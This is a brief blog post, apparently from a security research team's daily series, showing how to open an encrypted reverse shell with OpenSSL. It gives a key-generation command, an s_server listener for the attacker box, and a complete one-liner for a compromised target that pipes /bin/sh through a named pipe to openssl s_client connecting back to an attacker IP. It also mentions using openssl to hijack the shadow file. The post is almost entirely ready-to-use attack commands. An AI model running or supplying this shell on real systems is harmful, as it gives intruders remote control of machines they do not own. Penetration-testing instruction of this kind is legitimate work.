Day 43: Reverse Shell with OpenSSL

Atumcell Labs
2 min readFeb 11, 2019

--

There are a lot of ways to get shells, like walking down the beach and picking them up or going to Taco Bell…oh wait, wrong blog, I mean you can get shells with netcat, php, perl, .net, lolbins etc etc etc but one of my favourites has to be OpenSSL reverse shell. What what?! Do I mean the openssl we used to hijack shadow file, yes, the openssl that nearly every https needing lib in your system uses, yes and finally the openssl people use to generate their keys etc, yes the same openssl and you can use it to get a reverse shell.

Prep

To start the server we need to generate keys on the attacker box, let’s just say Kali for arguments sake.

root@kali# openssl req -x509 -newkey rsa:4096 -keyout key.pem -out cert.pem -days 365 -nodes

Start the Listener (Pentest Box)

openssl s_server -quiet -key key.pem -cert cert.pem -port <PORT>

Launch Reverse Shell (Target Box)

On the target box, the compromised machine you have RCE on, run this…

low-user@pwned#: mkfifo /tmp/s; /bin/sh -i < /tmp/s 2>&1 | openssl s_client -quiet -connect <ATTACKER-IP>:<PORT> > /tmp/s; rm /tmp/s

--

--

Atumcell Labs
Atumcell Labs

Written by Atumcell Labs

Security Research Team @ Atumcell

Responses (1)